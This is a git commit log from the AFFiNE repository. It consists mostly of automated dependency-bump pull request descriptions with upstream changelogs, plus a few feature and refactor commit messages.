[`v0.49.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0490-2025-07-09)

[Compare
Source](52dd28deae...e7960a2061)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2930](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2930))
([e4ab2a9](e4ab2a9320))

###
[`v0.48.1`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0481-2025-07-04)

[Compare
Source](7481f71d61...52dd28deae)

##### Bug Fixes

- **deps:** update all patch versions
([#&#8203;2832](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2832))
([e45605d](e45605d0e7))

###
[`v0.48.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0480-2025-06-02)

[Compare
Source](393b51596d...7481f71d61)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2871](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2871))
([d33c6f2](d33c6f232a))

###
[`v0.47.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0470-2025-05-15)

[Compare
Source](88386368af...393b51596d)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2828](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2828))
([59c2a4c](59c2a4c002))

###
[`v0.46.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0460-2025-04-08)

[Compare
Source](32abc4c3c0...88386368af)

##### Features

- **instrumentation-nestjs-core:** add support for NestJS 11
([#&#8203;2685](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2685))
([67e37b7](67e37b78ab))

###
[`v0.45.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0450-2025-03-18)

[Compare
Source](1eb7700766...32abc4c3c0)

##### ⚠ BREAKING CHANGES

- chore!: Update to 2.x and 0.200.x @&#8203;opentelemetry/\* packages
from opentelemetry-js.git per [2.x upgrade
guide](https://redirect.github.com/open-telemetry/opentelemetry-js/blob/main/doc/upgrade-to-2.x.md)
- The minimum supported Node.js has been raised to ^18.19.0 || >=20.6.0.
This means that support for Node.js 14 and 16 has been dropped.
  - The minimum supported TypeScript version has been raised to 5.0.4.
- The compilation target for transpiled TypeScript has been raised to
ES2022 (from ES2017).

##### Bug Fixes

- **deps:** update otel core experimental to ^0.57.2
([#&#8203;2716](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2716))
([d2a9a20](d2a9a20f1c))

##### Miscellaneous Chores

- update to JS SDK 2.x
([#&#8203;2738](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2738))
([7fb4ba3](7fb4ba3bc3))

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib
(@&#8203;opentelemetry/instrumentation-socket.io)</summary>

###
[`v0.54.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0540-2025-10-21)

[Compare
Source](333e026413...2801ab2f0f)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3187](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3187))
([ab96334](ab96334557))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.53.0 to ^0.54.0

###
[`v0.53.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0530-2025-10-06)

[Compare
Source](5a5918fd4f...333e026413)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3145](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3145))
([704c716](704c7161f7))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.52.2 to ^0.53.0

###
[`v0.52.3`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0523-2025-09-29)

[Compare
Source](931c7b34f5...5a5918fd4f)

##### Bug Fixes

- force new release-please PR
([#&#8203;3123](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3123))
([0dab838](0dab8383b5))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.52.1 to ^0.52.2

###
[`v0.52.2`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0522-2025-09-25)

[Compare
Source](f54a1ba1ad...931c7b34f5)

##### Bug Fixes

- force new release-please PR
([#&#8203;3098](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3098))
([13c58e9](13c58e9ad7))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.52.0 to ^0.52.1

###
[`v0.52.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0520-2025-09-10)

[Compare
Source](0a45ac1b95...f54a1ba1ad)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3034](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3034))
([bee0a66](bee0a66ef8))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.50.0 to ^0.51.0

###
[`v0.51.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0510-2025-09-08)

[Compare
Source](e7960a2061...0a45ac1b95)

##### Features

- **deps:** update otel deps
([#&#8203;3027](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3027))
([fd9e262](fd9e262fab))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.49.0 to ^0.50.0

###
[`v0.50.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0500-2025-07-09)

[Compare
Source](7481f71d61...e7960a2061)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2930](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2930))
([e4ab2a9](e4ab2a9320))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.48.0 to ^0.49.0

###
[`v0.49.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0490-2025-06-02)

[Compare
Source](393b51596d...7481f71d61)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2871](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2871))
([d33c6f2](d33c6f232a))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.47.0 to ^0.48.0

###
[`v0.48.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0480-2025-05-15)

[Compare
Source](32abc4c3c0...393b51596d)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2828](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2828))
([59c2a4c](59c2a4c002))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.46.0 to ^0.47.0

###
[`v0.47.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0470-2025-03-18)

[Compare
Source](1eb7700766...32abc4c3c0)

##### ⚠ BREAKING CHANGES

- chore!: Update to 2.x and 0.200.x @&#8203;opentelemetry/\* packages
from opentelemetry-js.git per [2.x upgrade
guide](https://redirect.github.com/open-telemetry/opentelemetry-js/blob/main/doc/upgrade-to-2.x.md)
- The minimum supported Node.js has been raised to ^18.19.0 || >=20.6.0.
This means that support for Node.js 14 and 16 has been dropped.
  - The minimum supported TypeScript version has been raised to 5.0.4.
- The compilation target for transpiled TypeScript has been raised to
ES2022 (from ES2017).

##### Bug Fixes

- **deps:** update otel core experimental to ^0.57.2
([#&#8203;2716](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2716))
([d2a9a20](d2a9a20f1c))

##### Miscellaneous Chores

- update to JS SDK 2.x
([#&#8203;2738](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2738))
([7fb4ba3](7fb4ba3bc3))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.45.1 to ^0.46.0

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC4zMy42IiwidXBkYXRlZEluVmVyIjoiNDEuMTU2LjEiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: DarkSky <darksky2048@gmail.com>
2025-10-22 03:59:48 +00:00
dependabot[bot]
35c2ad262f chore: bump next from 15.3.2 to 15.5.4 (#13739)
Bumps [next](https://github.com/vercel/next.js) from 15.3.2 to 15.5.4.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/vercel/next.js/releases">next's
releases</a>.</em></p>
<blockquote>
<h2>v15.5.4</h2>
<blockquote>
<p>[!NOTE]<br />
This release is backporting bug fixes. It does <strong>not</strong>
include all pending features/changes on canary.</p>
</blockquote>
<h3>Core Changes</h3>
<ul>
<li>fix: ensure onRequestError is invoked when otel enabled (<a
href="https://redirect.github.com/vercel/next.js/issues/83343">#83343</a>)</li>
<li>fix: devtools initial position should be from next config (<a
href="https://redirect.github.com/vercel/next.js/issues/83571">#83571</a>)</li>
<li>[devtool] fix overlay styles are missing (<a
href="https://redirect.github.com/vercel/next.js/issues/83721">#83721</a>)</li>
<li>Turbopack: don't match dynamic pattern for node_modules packages (<a
href="https://redirect.github.com/vercel/next.js/issues/83176">#83176</a>)</li>
<li>Turbopack: don't treat metadata routes as RSC (<a
href="https://redirect.github.com/vercel/next.js/issues/82911">#82911</a>)</li>
<li>[turbopack] Improve handling of symlink resolution errors in
track_glob and read_glob (<a
href="https://redirect.github.com/vercel/next.js/issues/83357">#83357</a>)</li>
<li>Turbopack: throw large static metadata error earlier (<a
href="https://redirect.github.com/vercel/next.js/issues/82939">#82939</a>)</li>
<li>fix: error overlay not closing when backdrop clicked (<a
href="https://redirect.github.com/vercel/next.js/issues/83981">#83981</a>)</li>
<li>Turbopack: flush Node.js worker IPC on error (<a
href="https://redirect.github.com/vercel/next.js/issues/84077">#84077</a>)</li>
</ul>
<h3>Misc Changes</h3>
<ul>
<li>[CNA] use linter preference (<a
href="https://redirect.github.com/vercel/next.js/issues/83194">#83194</a>)</li>
<li>CI: use KV for test timing data (<a
href="https://redirect.github.com/vercel/next.js/issues/83745">#83745</a>)</li>
<li>docs: september improvements and fixes (<a
href="https://redirect.github.com/vercel/next.js/issues/83997">#83997</a>)</li>
</ul>
<h3>Credits</h3>
<p>Huge thanks to <a
href="https://github.com/yiminghe"><code>@​yiminghe</code></a>, <a
href="https://github.com/huozhi"><code>@​huozhi</code></a>, <a
href="https://github.com/devjiwonchoi"><code>@​devjiwonchoi</code></a>,
<a href="https://github.com/mischnic"><code>@​mischnic</code></a>, <a
href="https://github.com/lukesandberg"><code>@​lukesandberg</code></a>,
<a href="https://github.com/ztanner"><code>@​ztanner</code></a>, <a
href="https://github.com/icyJoseph"><code>@​icyJoseph</code></a>, <a
href="https://github.com/leerob"><code>@​leerob</code></a>, <a
href="https://github.com/fufuShih"><code>@​fufuShih</code></a>, <a
href="https://github.com/dwrth"><code>@​dwrth</code></a>, <a
href="https://github.com/aymericzip"><code>@​aymericzip</code></a>, <a
href="https://github.com/obendev"><code>@​obendev</code></a>, <a
href="https://github.com/molebox"><code>@​molebox</code></a>, <a
href="https://github.com/OoMNoO"><code>@​OoMNoO</code></a>, <a
href="https://github.com/pontasan"><code>@​pontasan</code></a>, <a
href="https://github.com/styfle"><code>@​styfle</code></a>, <a
href="https://github.com/HondaYt"><code>@​HondaYt</code></a>, <a
href="https://github.com/ryuapp"><code>@​ryuapp</code></a>, <a
href="https://github.com/lpalmes"><code>@​lpalmes</code></a>, and <a
href="https://github.com/ijjk"><code>@​ijjk</code></a> for helping!</p>
<h2>v15.5.3</h2>
<blockquote>
<p>[!NOTE]<br />
This release is backporting bug fixes. It does <strong>not</strong>
include all pending features/changes on canary.</p>
</blockquote>
<h3>Core Changes</h3>
<ul>
<li>fix: validation return types of pages API routes (<a
href="https://redirect.github.com/vercel/next.js/issues/83069">#83069</a>)</li>
<li>fix: relative paths in dev in validator.ts (<a
href="https://redirect.github.com/vercel/next.js/issues/83073">#83073</a>)</li>
<li>fix: remove satisfies keyword from type validation to preserve old
TS compatibility (<a
href="https://redirect.github.com/vercel/next.js/issues/83071">#83071</a>)</li>
</ul>
<h3>Credits</h3>
<p>Huge thanks to <a
href="https://github.com/bgub"><code>@​bgub</code></a> for helping!</p>
<h2>v15.5.2</h2>
<blockquote>
<p>[!NOTE]<br />
This release is backporting bug fixes. It does <strong>not</strong>
include all pending features/changes on canary.</p>
</blockquote>
<h3>Core Changes</h3>
<ul>
<li>fix: disable unknownatrules lint rule entirely (<a
href="https://redirect.github.com/vercel/next.js/issues/83059">#83059</a>)</li>
<li>revert: add ?dpl to fonts in /_next/static/media (<a
href="https://redirect.github.com/vercel/next.js/issues/83062">#83062</a>)</li>
</ul>
<h3>Credits</h3>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="40f1d7814d"><code>40f1d78</code></a>
v15.5.4</li>
<li><a
href="cb30f0a176"><code>cb30f0a</code></a>
[backport] docs: september improvements and fixes (<a
href="https://redirect.github.com/vercel/next.js/issues/83997">#83997</a>)</li>
<li><a
href="b6a32bb579"><code>b6a32bb</code></a>
[backport] [CNA] use linter preference (<a
href="https://redirect.github.com/vercel/next.js/issues/83194">#83194</a>)
(<a
href="https://redirect.github.com/vercel/next.js/issues/84087">#84087</a>)</li>
<li><a
href="26d61f1e9a"><code>26d61f1</code></a>
[backport] Turbopack: flush Node.js worker IPC on error (<a
href="https://redirect.github.com/vercel/next.js/issues/84079">#84079</a>)</li>
<li><a
href="e11e87a547"><code>e11e87a</code></a>
[backport] fix: error overlay not closing when backdrop clicked (<a
href="https://redirect.github.com/vercel/next.js/issues/83981">#83981</a>)
(<a
href="https://redirect.github.com/vercel/next.js/issues/83">#83</a>...</li>
<li><a
href="0a29888575"><code>0a29888</code></a>
[backport] fix: devtools initial position should be from next config (<a
href="https://redirect.github.com/vercel/next.js/issues/83571">#83571</a>)...</li>
<li><a
href="7a53950c13"><code>7a53950</code></a>
[backport] Turbopack: don't treat metadata routes as RSC (<a
href="https://redirect.github.com/vercel/next.js/issues/83804">#83804</a>)</li>
<li><a
href="050bdf1ae7"><code>050bdf1</code></a>
[backport] Turbopack: throw large static metadata error earlier (<a
href="https://redirect.github.com/vercel/next.js/issues/83816">#83816</a>)</li>
<li><a
href="1f6ea09f85"><code>1f6ea09</code></a>
[backport] Turbopack: Improve handling of symlink resolution errors (<a
href="https://redirect.github.com/vercel/next.js/issues/83805">#83805</a>)</li>
<li><a
href="c7d1855499"><code>c7d1855</code></a>
[backport] CI: use KV for test timing data (<a
href="https://redirect.github.com/vercel/next.js/issues/83860">#83860</a>)</li>
<li>Additional commits viewable in <a
href="https://github.com/vercel/next.js/compare/v15.3.2...v15.5.4">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=next&package-manager=npm_and_yarn&previous-version=15.3.2&new-version=15.5.4)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/toeverything/AFFiNE/network/alerts).

</details>

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
Co-authored-by: DarkSky <darksky2048@gmail.com>
2025-10-21 17:47:26 +00:00
Martijn Smit
a0613b6306 feat(core): enhance Notion import with folder hierarchy and page icons (#13692)
Hi 👋

Love what you're doing with AFFiNE, I found my Notion replacement in
this app. Coming from Notion and importing my workspaces, I saw the need
to improve the import functionality to replicate the folder hierarchy
from Notion into the AFFiNE folder structure in the `Organize` section.
There are a few issues(i.e. #12961 and #13629 ) of people that expected
the same behavior. This should make it a lot easier for people to move
over.

### Technical description

Improve Notion import functionality to preserve organizational structure
and page icons from exports:

- Add folder hierarchy preservation during Notion import
- Extract and set page icons (emoji and image) from Notion HTML
- Integrate with OrganizeService to recreate folder structure
- Use ExplorerIconService to apply page icons to imported documents
- Tested using production workspace exports from Notion, several
thousand pages and multiple hierarchy levels deep.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Imports from Notion/HTML now recreate folder hierarchies and link
imported pages into that structure.
- Page icons (emoji and supported images) are extracted and attached to
imported pages.
  - Import results now include the created root folder for quick access.

- Improvements
- Import flows integrate folder creation and icon assignment with
non-blocking error handling.

- Bug Fixes
  - Avoids including undefined page IDs in successful imports.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <darksky2048@gmail.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-10-21 17:34:23 +00:00
renovate[bot]
c18840038f chore: bump up @sentry/electron version to v7 (#13652)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
|
[@sentry/electron](https://redirect.github.com/getsentry/sentry-electron)
| [`^6.1.0` ->
`^7.0.0`](https://renovatebot.com/diffs/npm/@sentry%2felectron/6.6.0/7.2.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2felectron/7.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2felectron/6.6.0/7.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>getsentry/sentry-electron (@&#8203;sentry/electron)</summary>

###
[`v7.2.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#720)

[Compare
Source](https://redirect.github.com/getsentry/sentry-electron/compare/7.1.1...7.2.0)

- feat: Update JavaScript SDKs from
[v10.11.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/10.11.0)
to
[v10.17.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/10.17.0)
- feat: Log os and device attributes
([#&#8203;1246](https://redirect.github.com/getsentry/sentry-electron/issues/1246))

###
[`v7.1.1`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#711)

[Compare
Source](https://redirect.github.com/getsentry/sentry-electron/compare/7.1.0...7.1.1)

- fix: Preload injection path
([#&#8203;1243](https://redirect.github.com/getsentry/sentry-electron/issues/1243))
- fix: Preload `contextIsolation` issues
([#&#8203;1244](https://redirect.github.com/getsentry/sentry-electron/issues/1244))
- fix: Include `sentry.origin` with auto-generated logs
([#&#8203;1241](https://redirect.github.com/getsentry/sentry-electron/issues/1241))

###
[`v7.1.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#710)

[Compare
Source](https://redirect.github.com/getsentry/sentry-electron/compare/7.0.0...7.1.0)

- feat: Update JavaScript SDKs from
[v10.7.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/10.7.0)
to
[v10.11.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/10.11.0)
([#&#8203;1236](https://redirect.github.com/getsentry/sentry-electron/issues/1236))
- feat: Optional Namespaced IPC
([#&#8203;1234](https://redirect.github.com/getsentry/sentry-electron/issues/1234))
- fix: Export `ErrorEvent` type
([#&#8203;1229](https://redirect.github.com/getsentry/sentry-electron/issues/1229))
- fix: Only capture logs if `enableLogs` is true
([#&#8203;1235](https://redirect.github.com/getsentry/sentry-electron/issues/1235))

###
[`v7.0.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#700)

[Compare
Source](https://redirect.github.com/getsentry/sentry-electron/compare/6.11.0...7.0.0)

This release updates the underlying Sentry JavaScript SDKs to v10 which
includes
some breaking changes. Check out the the [migration
guide](./MIGRATION.md) for
more details.

- feat: Update JavaScript SDKs to v10.8.0
([#&#8203;1205](https://redirect.github.com/getsentry/sentry-electron/issues/1205))

###
[`v6.11.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#6110)

[Compare
Source](https://redirect.github.com/getsentry/sentry-electron/compare/6.10.0...6.11.0)

- feat: Update JavaScript SDKs from
[v9.45.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.45.0)
to
[v9.46.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.46.0)
- fix: Ensure native directory ends up in package
([#&#8203;1216](https://redirect.github.com/getsentry/sentry-electron/issues/1216))

###
[`v6.10.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#6100)

[Compare
Source](https://redirect.github.com/getsentry/sentry-electron/compare/6.9.0...6.10.0)

- feat: Update JavaScript SDKs from
[v9.43.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.43.0)
to
[v9.45.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.45.0)
- fix: Don't use `deepmerge` to merge events to remove circular ref.
issues
([#&#8203;1210](https://redirect.github.com/getsentry/sentry-electron/issues/1210))
- fix: Support `node16` for TypeScript `moduleResolution`
([#&#8203;1203](https://redirect.github.com/getsentry/sentry-electron/issues/1203))

###
[`v6.9.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#690)

[Compare
Source](https://redirect.github.com/getsentry/sentry-electron/compare/6.8.0...6.9.0)

- feat: Update JavaScript SDKs from

[v9.26.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.26.0)
  to

[v9.43.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.43.0)
- feat: Add `eventLoopBlockIntegration`
([#&#8203;1188](https://redirect.github.com/getsentry/sentry-electron/issues/1188))
- feat: Move renderer event loop block detection to an integration
([#&#8203;1196](https://redirect.github.com/getsentry/sentry-electron/issues/1196))

###
[`v6.8.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#680)

[Compare
Source](https://redirect.github.com/getsentry/sentry-electron/compare/6.7.0...6.8.0)

- feat: Update JavaScript SDKs from
[v9.25.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.25.0)
to
[v9.26.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.26.0)
- fix: Don't capture stack traces from destroyed renderers
([#&#8203;1165](https://redirect.github.com/getsentry/sentry-electron/issues/1165))

###
[`v6.7.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#670)

[Compare
Source](https://redirect.github.com/getsentry/sentry-electron/compare/6.6.0...6.7.0)

- feat: Update JavaScript SDKs from
[v9.18.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.18.0)
to
[v9.25.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.25.0)
- feat: Add structured logging support
([#&#8203;1159](https://redirect.github.com/getsentry/sentry-electron/issues/1159))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzAuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE0My4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-10-21 17:31:20 +00:00
congzhou09
e2de0e0e3d fix(editor): add trash state for linked-doc and synced-doc appearance (#13767)
This PR updates the appearance of `embed-linked-doc-block` and
`embed-synced-doc-block` to reflect the trashed state of their linked
documents.
Previously, these blocks showed no visual difference whether the linked
document was trashed or not, despite the existing of codes for
deletion-related appearance.
This change ensures that the deletion appearance is properly displayed.


![after](https://github.com/user-attachments/assets/fe2d66d9-6685-4d15-95aa-0680111bc190)


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Documents now support trash state tracking for improved deletion
management

* **Bug Fixes**
* Improved synchronization and refresh of embedded documents when
document states change
  * Enhanced handling of trashed documents in embedded content

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-21 16:51:03 +00:00
Juan Abimael Santos Castillo
6fb0ff9177 chore(native): simplify Array::get method with functional approach (#13771)
## Issue

The Array::get method used verbose nested Option handling with redundant
returns, making the code longer and less Rust idiomatic.

## Solution

Replaced the nested if let structure with a functional and_then approach
that:
- Eliminates redundant return keyword usage
- Flattens Option handling for cleaner logic
- Reduces code from 13 lines to 9 lines
- Maintains identical functionality

## Result

More idiomatic Rust code that's easier to read and maintain, with all
tests passing.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Refactor**
* Improved internal code structure with functional programming patterns
for enhanced maintainability. No visible changes to end-user
functionality.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-10-21 16:45:58 +00:00
Cats Juice
c2fb6adfd8 feat(mobile): add discord link in setting (#13789)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Added a new Discord community link in the mobile settings Others
section with an animated "Hot" badge

* **Localization**
* Added multilingual support for the new Discord link across all
supported languages

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-21 16:29:06 +00:00
Lakr
8aeb8bd0ca feat(ios): insert app user id to rc (#13756)
